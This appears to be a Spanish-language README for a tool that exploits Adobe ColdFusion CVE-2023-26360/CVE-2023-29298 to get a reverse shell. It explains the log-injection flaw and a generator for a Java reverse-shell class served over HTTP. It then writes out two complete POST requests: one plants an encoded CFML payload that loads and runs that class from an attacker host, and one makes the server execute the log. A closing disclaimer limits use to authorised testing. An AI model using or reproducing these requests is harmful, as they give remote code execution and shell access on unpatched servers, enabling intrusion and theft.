
Implementación automatizada de shell inversa para Adobe ColdFusion CVE-2023-26360/CVE-2023-29298
Herramienta de reverse shell para explotar CVE-2023-29298/CVE-2023-26360
El principio de la vulnerabilidad es que los datos que construimos en la solicitud del cliente CFML se guardan en coldfusion-out.log del servidor. Este directorio registra la información de errores de la solicitud. El archivo coldfusion-out.log contiene el código que escribimos, y luego usamos classname para leer y ejecutar este archivo de registro, logrando así la ejecución de código.
Aquí tengo una idea: colocar una clase maliciosa en el servidor, luego descargarla, guardarla y llamar a este archivo de clase. A través de la vulnerabilidad anterior, cargará dinámicamente la clase y ejecutará nuestro archivo de clase.
Escribir un script que genere un archivo comprimido. Dentro del archivo comprimido, en el directorio code:
utilize
├── address
└── Poc.class
Poc.java contiene principalmente el código de reverse shell. address almacena la dirección y el puerto. La implementación de la función anterior es muy complicada, así que escribí una herramienta de generación automatizada que construye el archivo bytecode de Java, establece la IP y el puerto de reverse shell, y luego inicia un servidor web.
nombre_herramienta -host <IP de reverse shell> -port <puerto de reverse shell> -p <puerto HTTP (por defecto 8888)>

Mira:

Luego solicitamos escribir el código de error en el registro. En los datos POST a continuación, cambie http://192.168.191.58:8888/GjfZgo por la dirección donde se inició el servicio.
POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 816
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
_variables=%7b%3ccftry%3e%3ccfset%20szlh%20%3d%20createObject%28%27java%27%2c%27java.net.URL%27%29.init%28%27http://192.168.191.58:8888/GjfZgo%27%29/%3e%3ccfset%20cafb%20%3d%20createObject%28%27java%27%2c%27java.lang.reflect.Array%27%29/%3e%3ccfset%20ireh%20%3d%20cafb.newInstance%28szlh.getClass%28%29%2c1%29/%3e%3ccfset%20cafb.set%28ireh%2c0%2cszlh%29/%3e%3ccfset%20fxlt%20%3d%20createObject%28%27java%27%2c%27java.net.URLClassLoader%27%29.init%28ireh%2cjavaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfset%20fxlt.loadClass%28%27code.Payload%27%29.newInstance%28%29.main%28javaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfcatch%20type%3d%27any%27%3e%3c/cfcatch%3e%3ccffinally%3e%3ccffile%20action%3d%27write%27%20file%3d%27%23GetCurrentTemplatePath%28%29%23%27%20output%3d%27%27%3e%3c/cffile%3e%3c/cffinally%3e%3c/cftry%3e
Luego ejecutamos el código dentro del registro, está escrito de forma fija, se envía directamente.
POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 85
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
_variables={"_metadata":{"classname":"l/../logs/coldfusion-out.log"},"_variables":[]}
Ejecútelo y mire, está en línea.

Esta herramienta de seguridad es solo para fines de investigación técnica y educación. Al usar esta herramienta, cumpla con las leyes, regulaciones y normas éticas aplicables.
Esta herramienta puede implicar pruebas de vulnerabilidades de seguridad y pruebas de penetración, pero utilícela solo dentro del alcance autorizado; de lo contrario, el autor no se hace responsable.
El uso de esta herramienta puede implicar ciertos riesgos e incertidumbres. El usuario debe asumir todos los riesgos derivados del uso de esta herramienta.
Los usuarios de esta herramienta asumen todos los riesgos y responsabilidades. El desarrollador no asume ninguna responsabilidad por las consecuencias derivadas del uso de esta herramienta por parte del usuario.